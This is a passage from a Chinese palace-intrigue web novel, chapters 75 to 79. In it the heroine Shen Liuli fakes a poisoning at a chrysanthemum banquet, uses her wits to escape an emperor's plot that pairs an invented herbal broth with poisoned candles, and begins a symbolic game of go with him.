一声极其痛苦的呻吟,忽然从沈琉璃的方向传来。
只见她,猛地扼住自己的喉咙,整个人如同离了水的鱼,剧烈地抽搐了起来!
她那张原本还算红润的俏脸,竟以肉眼可见的速度,迅速地变得青紫!一片片细小的红疹,从她的脖颈处疯狂地向上蔓延!
“小姐!”春桃发出一声凄厉的尖叫,一把抱住她,哭喊道,“您怎么了?您别吓我啊!”
“救……救命……”
沈琉璃从齿缝间,艰难地挤出了这两个字,随即整个人便失去了意识,软软地倒在了春桃的怀里!
“毒发”了!
在这场鸿门宴上,当着所有人的面,她终究还是“毒发”了!
这一幕,彻底点燃了这场早已暗流汹涌的宴会!
“快!传太医!快传太医!”
皇后韦氏第一个反应了过来,她猛地从凤椅上站起!
整个御花园,彻底乱成了一锅粥!
贵女们惊慌的尖叫声、宫人们惶恐的呼喊声、侍卫们拔刀的铿锵声交织在一起,将这场本该是赏心悦目的赏菊宴,变成了一场荒唐的闹剧。
春桃抱着怀中早已“不省人事”的小姐,哭得肝肠寸断,那份发自内心的悲痛与绝望,足以让任何人为之动容。
而在场的三位皇子,则表情各不相同。
大皇子李裕的脸上,写满了不敢置信的愤怒!他怎么也没想到,自己布下的天罗地网,竟会以这种方式收场!
他想要的是一场无声无息的“病故”,而不是一场惊动了所有人的“毒发”!
这个**?!
二皇子李昭,则第一时间从座位上站起,脸上带着震惊与关切。
他快步走到沈琉璃身边,看着她那张已经青紫的脸,说道:“怎么会这样?怎么会这样?!母后!儿臣万万没有想到,那金铃子竟会是如此虎狼之物!儿臣罪该万死!”
他这番表演,堪称完美。
“好演技。”君北玄在她脑中,冷冷地评价道,“这个家伙,若是放到军营里,绝对是打了败仗后,哭着向主帅请罪的软蛋。可惜,他骗得了别人,骗不了本王。”
而就在所有人都乱了阵脚的时候,三皇子李琰终于动了。
他缓缓地走到了大殿中央,对着主位上早已方寸大乱的皇后,重重地跪了下去!
“母后!”他的声音不大,却异常清晰,“表妹生死未卜,此刻追究是谁的责任已是无用!当务之急,是立刻彻查,表妹她今日到底接触了什么,吃了什么!”
是啊,现在不是追责的时候,是查明真相的时候!
“没错!”皇后指着那个早已吓傻了的御膳房总管,厉声喝道,“给本宫查!从今日宴席的每一道菜,每一杯酒,到沈大小姐入宫后接触的每一个人,都给本宫查个底朝天!若有半点疏漏,你们所有人都提头来见!”
第76章 敲响的战鼓
就在此时,太医院的院使张太医提着药箱,在两名小太监的引领下,气喘吁吁地跑了进来。
“微臣参见皇后娘娘!”
“废话少说!”皇后指着已经没了声息的沈琉璃,急切地说道,“快!快去看看!沈大小姐她到底怎么样了!”
张院使不敢怠慢,连忙上前,跪倒在地,伸出三根手指搭在了沈琉璃的手腕上。
所有人的目光,都聚焦在了他的脸上,时间在这一刻仿佛被拉长了。
许久,张院使才缓缓地收回了手,他的脸上露出了一个极其凝重的表情。
“回禀娘娘,”他站起身,躬身说道,“从脉象上看,沈大小姐的脉象极其微弱,时断时续,五脏六腑皆有衰竭之兆,这确实是中了奇毒的迹象。”
“什么毒?!”
“这……”张院使的脸上,露出了几分为难,“此毒,老臣行医一生也闻所未闻。看似是过敏之症,实则又有一股阴寒的毒气,早已侵入了大小姐的心脉。两种毒性相互交织,如同烈火烹油,这才导致大小姐的病情,发作得如此迅猛。”
他这番话,说得模棱两可,将“金铃子”和“安神汤”,都给牵扯了进来!
“那……那可还有救?!”皇后急切地问道。
张院使沉吟了片刻,才缓缓地摇了摇头:“恕老臣无能,此毒太过霸道,早已攻心。如今,也只能用金针封住大小姐的心脉,暂时吊住她一口气,至于后续……”
他没有再说下去,但那未尽之意,却让在场所有人的心,都沉入了谷底。
“不可能!”大皇子李裕第一个,厉声反驳,“区区花粉,如何能有如此剧毒?!此事,必然是有人在背后捣鬼!母后!儿臣恳请,彻查二弟府上‘金铃子’的来历!”
“大哥!”二皇子李昭闻言,连忙说道,“臣弟知道你一向不喜我,可你也不能因为这个,就如此污蔑我啊!那金铃子是我孝敬母后之物,如何会与剧毒扯上关系?!”
眼看,这兄弟二人就要当着所有人的面,上演一出“狗咬狗”的好戏。
三皇子李琰,却再次开了口。
“母后!”他对着皇后,重重地磕了一个头,“两位兄长所言,皆有道理。但儿臣以为,此事最大的疑点,并非‘金铃子’。”
“而是,”他抬起头,一字一顿地说道,“由御药房每日按时送到尚书府的‘安神汤’!”
这句话,如同一道惊雷,在皇后的耳边炸响!
“你……你说什么?!”
“母后明鉴!”李琰从怀中,取出了一份早已准备好的卷宗,高高举起!“此乃我表妹,这七日来,每日服用‘安神汤’后,所记录下的身体状况!上面清清楚楚地记载着,她是如何从一开始的心神不宁,到后来的四肢无力,再到如今的油尽灯枯!”
“不仅如此!”他继续朗声道,“儿臣还查到,御药房负责为表妹熬制汤药的那名太监,就在昨日,竟‘意外’失足,坠入了御花园的荷花池中,溺水而亡!”
“而他,正是大皇兄您府上,推荐入宫的御厨!”
他这番话,掷地有声!将所有的矛头,都指向了大皇子!
“你……你血口喷人!”李裕指着他,气得浑身发抖,“你这是栽赃!是陷害!”
“是不是栽赃陷害,一查便知!”李琰毫不退让地迎上他的目光,“我恳请母后,立刻下令,彻查御药房!彻查‘安神汤’!”
“够了!”
一声带着无边怒火的咆哮,从大殿的入口处传来!
只见乾国皇帝君宏德,身着一身龙袍,在一众禁卫的簇拥下,面沉如水地走了进来!
他的目光,死死地盯住了底下那三个,各怀心思的儿子!
他怎么也没想到,自己不过是去御书房,批了半个时辰的奏折。自己的后宫,竟会闹出如此惊天动地的丑闻!
“父皇!”
三位皇子,齐刷刷地跪倒在地。
皇帝没有理他们,他只是缓缓地走到沈琉璃的身边,看着那个,早已没了声息的少女。
许久,他才缓缓地开了口,声音冰冷得不带任何感情。
“传朕旨意。”
“从现在起,封锁整个御花园,任何人不得随意出入!”
“三位皇子,各自带回府中,禁足思过!在事情查明之前,任何人不得探视!”
“至于沈大小姐……”他看了一眼张院使,“带回偏殿,好生‘医治’。”
“朕倒要看看,”他的目光,如同刀子一般,从在场每一个人的脸上缓缓扫过,“到底是谁,敢在朕的眼皮子底下,玩这种上不得台面的把戏!”
他说完,便猛地一甩龙袍,头也不回地朝着御书房的方向走去。
一场本该是赏心悦目的赏菊宴,最终以一种谁也无法预料的方式,惨淡收场。
禁军的行动效率极高,不过短短一炷香的功夫,整个御花园便被清空。
三位平日里高高在上的皇子,此刻皆如斗败的公鸡,在各自亲卫的“护送”下,被带回府中禁足。而那些原本还想看热闹的王公贵女们,更是早已作鸟兽散,生怕被这场突如其来的风暴波及。
沈琉璃,这个从始至终都“昏迷不醒”的少女,则被两名身手沉稳的老太监,小心翼翼地抬上了一顶软轿,一路朝着皇宫深处的偏殿而去。
春桃哭着喊着要跟上,却被一名面无表情的禁军统领拦了下来。
“姑娘留步。”那统领的声音,如同他手中的刀鞘一般冰冷,“陛下有旨,沈大小姐需静养,任何人不得探视。”
“可……可我是我家小姐的贴身丫鬟啊!”春桃急得眼泪都快掉下来了,“她现在生死未卜,身边没人伺候怎么行?!”
那统领没有再说话,只是冷冷地看着她。
春桃被他看得心中一寒,后面的话再也说不出口。
就在这时,皇后韦氏身边的心腹女官,却忽然开了口。
“李统领,这丫头说得也有道理。”她
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缓缓说道,“沈大小姐如今情况特殊,身边确实需要一个知冷知热的人。让她跟着吧,也好让我们这些做奴才的,在陛下和娘娘面前,有个交代。”
她这番话,看似是在为春桃求情,实则却是在提醒所有人,沈琉璃的身上,还贴着一张“未来太子妃”的标签。
李统领沉吟了片刻,最终还是点了点头,侧身让开了路。
……
静心殿,名为“静心”,实则是皇宫中一处,专门用来软禁犯了错的妃嫔的冷宫。这里虽然亭台楼阁一应俱全,却因地处偏僻,常年无人问津,显得格外阴冷。
当沈琉璃被安置在床上时,她那双紧闭的眼眸,才不易察觉地轻轻颤动了一下。
“演得不错。”君北玄的声音,在她脑海中响起,“时机、症状、包括最后失去意识的姿态,都堪称完美。”
“王爷过奖了。”沈琉璃在心里,有气无力地回应,“您以为,演一个随时都可能真的死过去的人,很容易吗?我现在感觉,我的心都快要从嗓子眼里跳出来了。”
她虽然嘴上这么说,但她的大脑正在飞速地运转着,分析着眼下这盘,更加凶险的棋局。
“我们现在,算是安全了吗?”她问道。
“安全?”君北玄嗤笑一声,“你管这叫‘安全’?沈琉璃,你是不是忘了,我们现在在哪里?这里是皇宫!是你们乾国权力最中心,也是防卫最森严的地方!你现在,不是脱离了险境,你是从一个狼窝,跳进了一个虎穴!”
“一只被关在笼子里的老虎,远比一群在外面游荡的野狼,要可怕得多!”
君北玄的这番话,让沈琉璃的心猛地一沉。
是啊,她虽然成功地将自己从一个“嫌犯”,变成了一个“受害者”,暂时摆脱了大皇子的直接威胁。可她也同样,将自己完全暴露在了那个,比所有皇子都更可怕的,真正的棋手面前。
乾国皇帝,君宏德!
就在此时,偏殿的门被“吱呀”一声,从外面推开了。
张院使提着药箱,在一众太监宫女的簇拥下,缓缓地走了进来。
他的身后,还跟着一个身着青色总管服的老太监。
“春桃姑娘,”那老太监一进来,便对着早已吓得六神无主的春桃,温言说道,“咱家姓陈,是这静心殿的总管。从今天起,沈大小姐的饮食起居,便由咱家和张院使一同照料了。你若是有任何需要,只管吩咐便是。”
他的态度,亲切得就像一个邻家的长辈。但沈琉璃,虽然闭着眼睛,却依旧能清晰地感觉到,那道投向自己的目光,是何等的锐利。
“这个老家伙,不简单。”君北玄的声音,在她脑海中响起,“他的呼吸绵长,脚步极稳。若本王没猜错,此人应是大内一等一的高手。”
“他不是高手。”沈琉璃在心里,平静地回应,“他是皇帝的眼睛,也是皇帝的刀。”
她知道,从这一刻起,真正的较量才刚刚开始。
第77章 天子之囚
张院使诊脉完毕,再次开出了一张药方。
“陈公公,”他将药方递了过去,一脸凝重地说道,“大小姐体内的奇毒,极其霸道。老夫也只能用金针,暂时封住她的心脉。接下来这几日,便要靠这份‘续命汤’了。”
“此方,需用百年份的老参为主药,辅以天山雪莲、东海珍珠等数十种珍贵药材,用文火熬制十二个时辰,方可服用。记住,火候和药材的配比,绝不能有半分差池!”
他说完,便又对着陈公公,低声耳语了几句。
虽然隔着很远,但君北玄还是清晰地“听”到了他们的对话。
“……此毒,老夫从未见过。但可以肯定的是,其源头,必然与南疆的巫蛊之术有关。”
“……大小姐的脉象,看似微弱,实则暗藏着一股,极其微弱的‘生机’。这股生机,很是古怪,似乎并非来自她自身……”
“……公公只需按方抓药即可,至于后续如何,还要看大小姐自己的造化了。”
张院使离去后,陈公公立刻将所有原本伺候在此的宫人,都换成了自己的心腹。
随即,他又亲自坐镇偏殿的小厨房,监督着手下的人,一丝不苟地按照张院使的药方,熬制那碗“续命汤”。
他的每一个动作,都显得那么地天衣无缝。可他越是如此,沈琉璃的心中便越是冰冷。
她知道,这哪里是什么“续命汤”,这分明就是一碗“孟婆汤”!
“他到底想做什么?”君北玄在她脑中,也充满了困惑,“他既然已经怀疑你了,为何不直接将你下入天牢,严刑拷打?反而要费这么大劲,演这出戏?”
“因为,他不是在审我。”沈琉璃在心里,平静地回应,“他是在审他的儿子们。”
“他将我这个‘受害者’,放在这里,好吃好喝地‘供’着。就是要看看,在我‘病危’的这段时间里,他的那三个好儿子,到底谁会先坐不住,露出马脚。”
“而我,”她的声音里,带上了几分自嘲,“便是他手中那块,最完美的‘试金石’。”
……
与此同时,三座被禁足的皇子府内,也上演着不同的戏码。
大皇子府,书房。
“废物!一群废物!”
李裕将桌上所有能摔的东西,都摔了个粉碎。他的脸上,再无半分往日的温润,只剩下了如同野兽般的狰狞。
“一个沈琉璃!一个老三!竟能将孤逼到如此地步?!”他指着跪在地上的幕僚,破口大骂,“现在怎么办?!父皇将所有人都禁了足,我们连消息都送不出去!”
“殿下息怒!”那幕僚连连磕头,“事已至此,我们只能断尾求生了!只要我们将所有的罪责,都推到御厨和太监的头上,您便可安然无恙!”
“安然无恙?”李裕冷笑一声,“你当父皇是傻子吗?!”
二皇子府,则是一片截然相反的景象。
李昭独自一人坐在书房里,安静地品读着,由沈琉璃“赠送”的《南华医经》。
仿佛,外面的滔天巨浪,与他没有半分关系。
而三皇子府内,则是一片愁云惨雾。
李琰在书房内来回踱步,脸上满是焦虑。
“林先生,”他看着自己的心腹幕僚,“你说,父皇他到底想做什么?表妹她不会有事吧?”
“殿下稍安勿躁。”林学士沉吟了片刻,才缓缓开口,“依老臣之见,陛下此举,名为禁足,实为保护。他这是要将三位殿下,都暂时地从这盘棋局上摘出去。”
“他要亲自下场,当这个棋手了。”
……
夜,渐深。
静心殿内,那碗由陈公公亲自监督熬制的“续命汤”,终于被端到了沈琉璃的床前。
那碗黑漆漆的“续命汤”在烛火下泛着诡异的光,药气中夹杂着一丝若有若无的甜香,闻之欲呕。
“沈大小姐,”陈公公的脸上,挂着和善的笑容,“药好了,可以喝了。”
春桃早已吓得屏住了呼吸,一双眼睛死死地盯着那碗药。
“有问题。”君北玄的声音,在她脑海中响起。
“王爷?”沈琉璃的心也提到了嗓子眼。
“这药,没毒。”君北玄的回答,却完全出乎了她的预料。
“没毒?”
“没错。”君北玄的语气,充满了笃定,“本王对天下毒物了如指掌,这碗汤药里虽然加了几味霸道的药材,但之间并无相克之处,最多只能算是一碗滋补过度的猛药,绝非致命毒物。”
这个结论,非但没有让沈琉璃感到半分轻松,反而让她的心,沉入了更深的谷底。如果这碗药没毒,只能说明,真正的杀机隐藏在一个更不易被察觉的地方!
她的目光,飞快地扫过房间里的每一个角落。
熏香?
不对,博山炉里空空如也。
茶水?
不对,那是春桃亲手沏的。
那……会是什么?
“是蜡烛。”君北玄的声音,变得无比凝重。
沈琉璃的目光,瞬间定格在了床头那对,正在静静燃烧的龙凤烛上。蜡烛看起来再寻常不过,烛火温暖,甚至还带着一股淡淡的檀香味。
“你再闻闻那碗药。”君北玄提醒道。
沈琉璃依言,将心神沉下,仔细地分辨着那碗汤药的气味。果然,在浓郁的药香之下,她捕捉到了极其微弱,类似兰草的清香。
“汤药里有一味主药,是产自极北苦寒之地的‘冰心草’,此物性寒,有清心降火之效,本身无毒。”君北玄的声音,淡淡地响起,“而这蜡烛也并非凡品,它的烛芯里,混入了一种产自南洋火山密林中的‘龙涎花’花粉。”
“一寒一热,一南一北,单独存在,皆是良药,可一旦这两种气息在空气中相遇……”
“便会化作一种,能够悄无声息地麻痹人的中枢,最终导致心脉衰竭的剧毒!”
“其死状,与‘牵机’一般无二!”
君北玄的这番话,让沈琉璃只觉得浑身的血液,都快要凝固了!
她怎么也没想到,皇帝竟然要杀她?而且还是如此狠毒?!
一碗汤,一对蜡烛,单独查验,皆无任何问题。可一旦同时出现在这个房间里,便会组成一个,可以让她在睡梦中,无声无息死去的杀局!
届时,便是太医院来查验,也只会得出一个“心神耗损,油尽灯枯”的结论!
“怎么办?!”这一次,连沈琉璃都乱了。
她可以不喝
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那碗汤,可她能不呼吸吗?!
“冷静!”君北玄低喝一声,“越是这种时候,越不能乱!你若是先乱了,那我们便真的没救了!”
他那雷霆般的声音,让沈琉璃的心,瞬间安定了下来。
是啊,她不能乱。
她的大脑飞速运转,思考着破局的可能。
打翻药碗?
不行,那只会让陈公公更加警惕。
吹灭蜡烛?
更不行,那等于是在告诉对方,自己已经看穿了他们的计谋!
她发现,自己竟被逼入了一个,无论如何选择,都显得苍白无力的绝境!
“有了!”
一个念头,如同闪电般,划过了她的脑海!
她缓缓地抬起眼帘,对着陈公公,露出了一个感激的笑容。
“有劳公公了。”她伸出手,作势要去端那碗药。
“小姐!”春桃发出一声短促的惊呼,连忙上前一步,抢先将那碗药端了起来,“这种粗活,怎么能让您来呢!还是让奴婢伺候您吧。”
她将药碗捧到沈琉璃的面前,那双因为恐惧而剧烈颤抖的手,让碗里的汤药都漾出了几滴。
“你这丫头,就是太紧张了。”沈琉璃看着她,柔声说道,“不过是一碗药罢了,看把你吓的。”
她一边说,一边伸出手,像是要接过那碗药。
可她的手,却“不经意”地,拂过了一旁的龙凤烛!
“哎呀!”
她发出一声短促的惊呼,整个人像是被那烛火的温度,给烫到了一般,猛地向后一缩!
而她这个突如其来的动作,也正好撞到了,正端着药碗的春桃!
“哐当——!”
一声清脆的碎裂声,在寂静的夜里,显得格外刺耳。
那碗“续命汤”,竟被春桃失手打翻在地!黑色的药汁混合着名贵的药渣,尽数泼在了地上,一片狼藉。
陈公公看着地上的碎片,眼中闪过了一抹难以置信的错愕。
“废物!”
一声愤怒的咆哮,忽然从沈琉璃的口中炸响!
“你这个没用的东西!”她猛地推开身旁的春桃,指着地上的狼藉,声音因为激动而剧烈地颤抖着,“你知不知道这是什么?!这是陛下赏赐的汤药!是能救我性命的仙丹!竟被你这个蠢货给尽数糟蹋了!”
她这番突如其来的爆发,不仅让春桃当场就懵了,就连她脑海中的君北玄,都愣了一下。
“你……你这又是哪一出?”
“演戏,就要演全套。”沈琉璃在心里,冷冷地回应。
“我……我不是故意的……小姐……”春桃被吓得,当场就跪了下来,语无伦次地哭喊道。
“不是故意的?”沈琉璃冷笑一声,她看着春桃,“我看你分明就是受了人的指使,想害死我!”
她猛地转过头,看着早已惊得目瞪口呆的陈公公,脸上露出了一个凄厉的笑容。
“公公,您都看见了!”她指着春桃,嘶声力竭地喊道,“这个贱婢,她想害我!她定是受了他人的指使!求公公为我做主啊!”
她这番操作,堪称神来之笔!
她不仅将“失手”的责任,完美地推到了春桃的身上,更是将一盆脏水,狠狠地泼向了他处!
第78章 天子的棋盘
陈公公的脸色,在一瞬间变得无比难看!
他怎么也没想到,这个看似柔弱的少女,竟会如此难缠!
他本以为,自己今夜面对的,只是一只待宰的羔羊。却不想,这只羔羊的身上,竟长满了最锋利的尖刺!
“沈大小姐息怒。”他深吸一口气,脸上重新挤出了一个和善的笑容,“不过是一碗药罢了,人没事就好。想来是这丫头太过劳累了,咱家这就命人再为您熬一碗便是。”
他的应对,同样是天衣无缝。
仿佛,刚才那场惊心动魄的交锋,都只是众人的幻觉。
“来人,”他对着门外,扬声吩咐道,“还不快进来,把这里收拾干净!”
两名早已等候在外的侍女,立刻推门而入,手脚麻利地开始收拾地上的狼藉。
“滚出去!”沈琉璃却指着春桃,厉声喝道,“我不想再看见你!”
春桃被吓得,连滚带爬地跑了出去。
看着她离去的背影,陈公公知道,自己今夜,怕是杀不了这个女人了。
“大小姐,”他缓缓开口,“既然您受了惊吓,那咱家便不在此处打扰了。您好生歇息,咱家这就去回禀陛下,再为您求一份‘恩典’过来。”
他说完,便不再有半分停留,对着沈琉璃重重地一拜,随即转身,快步离去。那背影,竟带上了几分落荒而逃的狼狈。
看着他离去的背影,沈琉璃才终于敢大口地喘气,只觉得后背早已被冷汗浸透。
“出息。”君北玄在她脑中,冷哼一声,语气里却带上了几分,连他自己都未曾察觉的欣赏。
“一场光明正大的阳谋,竟被你用这种方式给破了。沈琉璃,本王承认,你确实有几分妖妃的潜质。”
当陈公公的身影,彻底消失在静心殿的门外时,整个偏殿,只剩下那对还在燃烧的龙凤烛,在空气中散发着诡异的甜香。
“小……小姐……”春桃从门外怯生生地走了进来,声音里带着哭腔,“刚才到底是怎么回事?您为什么要骂我?那碗药是不是真的……”
她不敢再说下去,只是用一双带着恐惧的眼睛,死死地盯着沈琉璃。
“好了,没事了。”沈琉璃轻轻地拍了拍她的后背,声音虚弱地说道,“我刚才不是真的在骂你。”
“那您是……”
“我是在救你,也是在救我们自己。”沈琉璃没有过多解释,有些事情,这个心思单纯的丫鬟不知道,远比知道了要安全得多。
她缓缓地站直了身体,走到那对还在燃烧的龙凤烛前。
“吹了它。”
“啊?”
“我说,把它们都吹了。”沈琉璃的声音,不容置疑。
春桃虽然不解,但还是壮着胆子,上前一口气将蜡烛给尽数吹灭。随着最后一缕青烟散去,房间里那股诡异的甜香,也终于淡了下去。
“哼,现在才想起来吹,晚了。”君北玄的声音,在她脑海中响起,“你刚才至少吸入了半个时辰的毒气,虽然有本王在,不至于让你当场毙命,但接下来几日,怕是也要头晕乏力,吃些苦头了。”
“王爷,您就不能盼我点好吗?”沈琉璃在心里,有气无力地回敬了一句,“我这刚从鬼门关前溜达回来,您就不能让我先喘口气?”
“喘气?”君北玄嗤笑一声,“你以为这就完了?沈琉璃,本王告诉你,真正的战争现在才刚刚开始!”
“你今夜虽然用一招‘祸水东引’,暂时破了这个死局。但也同样,将自己彻底地推到了皇帝的面前!他现在,怕是已经对你这个‘猎物’,产生了浓厚的兴趣了。”
君北玄的这番话,让沈琉璃的心,再次提到了嗓子眼。
是啊,她虽然暂时安全了,可她也同样,将自己的底牌暴露在了那个真正的棋手面前。
……
与此同时,皇宫深处,御书房。
灯火通明,檀香袅袅。
乾国皇帝君宏德,正独自一人,对着一盘早已下成了死局的棋,凝神沉思。
陈公公悄无声息地,从殿外的阴影中走了进来,跪倒在地。
“陛下。”
“如何?”皇帝没有回头,只是淡淡地问道。
陈公公不敢有半分隐瞒,将方才在静心殿内发生的一切,一五一十地和盘托出。
他本以为,自己会迎来陛下的雷霆之怒。
可他却没想到,皇帝在听完这一切后,竟发出了一声轻笑。
“呵……”
那笑声很轻,很淡,却让陈公公那颗早已悬到嗓子眼的心,瞬间沉入了谷底。
他知道,陛下这是真的动怒了。
“一个时辰。”皇帝缓缓地转过身,沉声说道,“从你端着药碗进去,到你落荒而逃地出来,前后不过一个时辰。”
“朕布的局,动用了太医院的院使,调动了宫中最精锐的暗卫。”
“可你,却连一个时辰都没能撑住。”
他看着脚下的这个奴才,声音平静得可怕。
“陈平,你说,是你太无能了,还是她太聪明了?”
“奴才……奴才该死!”陈公公将头重重地磕在冰冷的地砖上,声泪俱下,“是奴才办事不力,辜负了陛下的信任!求陛下赐罪!”
“赐罪?”皇帝摇了摇头,“朕为何要赐你的罪?”
他缓缓地走到陈公公的面前,亲自将他扶起。
“你今日,办得很好。”他拍了拍陈公公的肩膀,温言道,“你不仅让朕看到了,朕的好儿子,到底有多么地愚蠢。”
“更让朕看到了,一个有趣的小狐狸。”
他说着,便将目光,投向了窗外早已深沉的夜色。
“传朕旨意。”他缓缓开口。
“从明日起,静心殿的‘续命汤’停了。”
“将宫中最好的补品,最好的衣物,最好的字画古玩,都给她送去。告诉所有人,沈大小姐受了惊吓,需要静养,任何人不得打扰。”
“另外,”他的嘴角,勾起一抹笑容,“再将朕的那副‘南海沉香木’的棋盘,也一并送去。”
“告诉她,朕的这盘棋才刚刚开始。”
“让她,好生在里面等着朕。”
……
第二日清晨,当第一缕阳光,穿透静心殿的窗户时,沈琉璃便被一阵喧闹声给惊醒了。
只见数十名太监宫女,如同勤劳的蚂蚁,端着各式各样的赏赐,鱼贯而入。
有名贵的补品,有华丽的宫装,有前朝的字画,甚至还有一副,由皇帝亲赐的沉香木棋盘!
这阵仗,比当初皇后娘娘的赏赐,还要隆重十倍!
“小姐,这……这是怎么回事啊?”春桃看着
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眼前这堆积如山的赏赐,彻底懵了,“陛下他这是要给您赔罪吗?”
“赔罪?”沈琉璃看着那副,散发着淡淡香气的棋盘。
这不是赔罪,这是来自天子的警告。
他用这种方式告诉她:你所有的把戏,朕都已看穿。但朕不杀你,因为你这枚棋子,远比朕想象中还要有趣得多。
从今天起,你是朕的囚徒。
“哼,好大的手笔。”君北玄在她脑中,冷冷地说道,“一座更大的囚笼,一副更华丽的镣铐。这个老狐狸,是想把你活活地困死在这里啊。”
“王爷,”沈琉璃看着那副棋盘,轻声说道,“您觉得,一个合格的棋手,在被对手困住的时候,会怎么做?”
“自然是,弃子认输。”君北玄想也不想,便回答道。
“不。”沈琉璃摇了摇头,“一个更高明的棋手,会选择,在对方的棋盘上,再开一局棋。”
她走到那副棋盘前,伸出纤细的手指,捻起一枚黑子,轻轻地落在了棋盘的天元之上。
“他不是想下棋吗?”
“那我们,便陪他,好好地下一盘。”
春桃看着自家小姐的侧脸,只觉得自己的脑子已经不够用了。
“小姐,您……您真的要跟陛下下棋啊?”
“不然呢?”沈琉璃没有回头,只是伸出手指,将那枚黑子又向前轻轻地推了推,仿佛在调整一个关乎国运的布局,“难不成,还真等着他每日送些‘恩典’过来,把咱们当金丝雀一样养着吗?”
“可……可……”春桃急得直跺脚,“可您也下不过他呀!”
“下不过,也要下。”沈琉璃坚定地说道,“棋局之内,固然是他说了算。可棋局之外的输赢,便由不得他了。”
“疯了,你这个女人彻底疯了!”君北玄的声音,在她脑海中响起,“你以为这是什么?这是过家家吗?!对方是皇帝!是手握天下生杀大权的君主!他现在把你关在这里,就是要让你与外界断绝一切联系,变成一只被拔了爪牙的猫!你倒好,不仅不乖乖趴着,还主动凑上去想跟他掰手腕?你这是嫌自己死得不够快吗?!”
“王爷,您说的都对。”沈琉璃在心里,不紧不慢地回应,“可您是不是忘了,一只被关在笼子里的猫,若是只会乖乖趴着,那它最后的下场,便只有被主人玩腻了后,随意丢弃。”
“可若这只猫,不仅不害怕,反而敢伸出爪子,去挠一挠主人的手心呢?”
“歪理邪说!”君北玄虽然嘴上这么说,但他不得不承认,这个女人总能找到一个,让他无法反驳的角度。
“王爷。”沈琉璃看着那枚落在天元的黑子,轻声说道,“皇帝将我困在这里,不是要杀我,而是要‘用’我。他要用我这块‘试金石’,去试探他那三个儿子的成色。而我,若想从这盘棋里活下来,便不能只当一块被动的石头。”
“我要让他知道,我这块石头,不仅硌手,还能反过来,成为他手中最锋利的一把刀。”
她站起身,不再看那棋盘,而是走到了堆积如山的赏赐前。
“春桃,”她开口吩咐道,“将陛下赏赐的笔墨纸砚,都给我拿过来。”
“小姐,您要写字?”
“不,”沈琉璃摇了摇头,“我要画画。”
第79章 家宴
接下来的两日,静心殿内,依旧是风平浪静。
沈琉璃每日的生活,还是那般规律,唯一的区别是,她多了一项新的“爱好”。
画画……
她画的,不是什么高雅的山水花鸟,而是市井之间,最寻常不过的民生百态。
有街边叫卖的货郎,有河边浣衣的少女,有私塾里摇头晃脑的学童,甚至还有,在屋顶上追逐嬉戏的野猫。
她的画工,算不上顶尖,却胜在灵动有趣,充满了生活的气息。
而这些画作,也每日都随着陈公公的请安,一并被送到了御书房,呈到了皇帝的案头。
“哦?”
皇帝君宏德看着眼前这些,充满了烟火气的画作,露出了几分好奇。
“这个丫头,倒是有趣。”他捻起其中一张,画着“货郎担”的画,笑着对身旁的陈公公说道,“被朕关在这笼子里,不仅不哭不闹,竟还有心思,给朕画这些市井趣闻。你说,她这是在向朕示弱呢,还是在向朕**啊?”
“奴才愚钝。”陈公公躬着身子,不敢多言。
“不,你不愚钝。”皇帝将那张画,随手放在了一旁,“她这是在告诉朕,她虽然身在宫中,可她的眼睛,却依旧能看到宫外的世界。”
“她是在提醒朕,她这枚棋子,远比朕想象中,还要有用得多。”
“去。”他缓缓开口,“将朕的那盒‘南海温玉’棋子,也给她送去。”
“告诉她,既然开了局,那便没有中途罢手的道理。”
“朕,等着她落第二子。”
……
当那盒价值连城的白玉棋子,被陈公公亲自送到静心殿时。
“小姐,您看,陛下又给您送玩具来了。”她一边为沈琉璃布着菜,一边小声地嘀咕道,“我怎么觉得,这位陛下不像是关着咱们,倒像是把您当成解闷的玩意儿了?”
“哼,妇人之见。”君北玄在她脑中,冷冷地说道,“这哪里是什么玩具?这是战书!他在告诉你,他已经接下了你的挑战!你下一步若是走错,便是万劫不复!”
“王爷,您就不能盼我点好吗?”沈琉璃在心里,无奈地叹了口气。
她没有碰那盒棋子,只是将自己今日刚刚画好的一幅画,交到了陈公公的手中。
“有劳公公,再替我转呈陛下。”她笑着说道,“就说,琉璃谢过陛下赏赐。只是这棋局,一人独弈,实在是有些无趣。不知陛下,可否为琉璃,寻一位能陪着解闷的‘棋友’?”
陈公公看着画上那个,正坐在“揽月楼”的窗边,百无聊赖地托着腮,看着窗外发呆的少女。
他知道,这只小狐狸,终于要落下她的第二子了。
……
当天傍晚,一道极其隐晦的旨意,从皇宫中传出。
三日后,将由皇后韦氏做东,在宫中的“暖心阁”内,设下一场小型的家宴,邀请所有皇室宗亲,一同“赏雪品茗”。
而那份宾客的名单上,赫然出现了三个,本不该出现的名字。
——大皇子李裕,二皇子李昭,三皇子李琰。
以及,还在静心殿内,“闭门思过”的沈琉璃。
所有人都知道,皇帝这是要亲自下场,他要将所有人都请到同一张牌桌上,看看他们到底想怎么玩。
“他到底想做什么?!”大皇子府内,李裕在接到旨意后,勃然大怒,“父皇这是什么意思?!他难道忘了,那个**是如何构陷我的吗?!”
“殿下息怒。”幕僚连忙上前劝道,“依微臣之见,陛下此举,或许是在给您一个机会。一个能让您在众人面前,与沈大小姐‘冰释前嫌’的机会。”
“冰释前嫌?”李裕冷笑一声,“孤与她之间,早已是不死不休!”
“那殿下的意思是?”
“既然,父皇想看戏。”李裕的眼中,闪过了一抹狠戾,“那孤,便为他,为所有人,唱一出好戏!”
“去,将我们的人,都安排下去!”
“三日后,暖心阁内,孤要让沈琉璃那个**,为她所做的一切,付出最惨痛的代价!”
当皇帝要在暖心阁设下“家宴”的消息,传到静心殿的时候,春桃整个人都蔫了下去。
“小姐,这……这可怎么办呀?”她看着自家小姐,声音里带着哭腔,“这哪里是什么家宴,这分明就是一场公审!三位殿下都在,还有皇后娘娘,他们肯定不会放过我们的!”
沈琉璃没有说话,她只是走到皇帝亲赐的沉香木棋盘前,捻起一枚温润的白玉棋子,轻轻地落在了黑子身旁,形成了一个“**燕”的棋势。
“怕什么?”她的声音,平静无波,“棋盘既然已经摆好,我们这些做棋子的,若是不上场,岂不是太不给棋手面子了?”
“可……可我们连对手是谁都不知道!”
“不,”沈琉璃摇了摇头,“我们知道。”
她看着那枚白子,轻声说道:“我们的对手,从来都不是大皇子,也不是二皇子。而是那个高高在上,手握棋盘的下棋人。”
……
三日时光,如白驹过隙。
暖心阁家宴当天,天色阴沉。
数名宫中派来的老嬷嬷,早已恭敬地等候在殿外,她们手中捧着托盘,上面摆放着由皇后韦氏亲赐的宫装、首饰,以及各式各样的胭脂水粉。
